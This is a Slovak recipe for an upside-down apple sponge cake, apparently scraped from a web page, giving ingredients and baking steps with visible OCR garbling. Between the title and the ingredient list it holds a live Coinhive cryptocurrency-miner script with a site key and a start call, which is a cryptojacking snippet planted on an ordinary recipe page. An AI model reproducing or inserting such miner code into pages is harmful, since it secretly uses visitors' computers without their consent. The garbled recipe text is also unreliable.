Obrateny jabiénik

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 1 kg jablk, 210 g muky (Promix + PK $pecial), 180 g praskového cukru, 6 vajec, 1
prasok do peciva, 0,5 dcl teplého mlieka,

Postup: Jablka ocCistime. Na plech dame papier na pecenie, vymastime ho a vysypeme
strihankou. Nakrajame jablka na platky, zalejeme piskétovym cestom. PeCieme cca 25 minut
na 200°C. Po upeceni kola¢ vyklopit na dosku, opatrne stiahnut papier. Posypat praskovym
cukrom.

Postup na cesto: Bielka vy§lfahame do tuha, pridame praskovy cukor a vy$fahame. Potom
zlahka zamieSame Zltka, potom muku zmie$anu s praskom do peciva. Na koniec pridame teplé
mlieko, premieSame a vyliat na jablka.




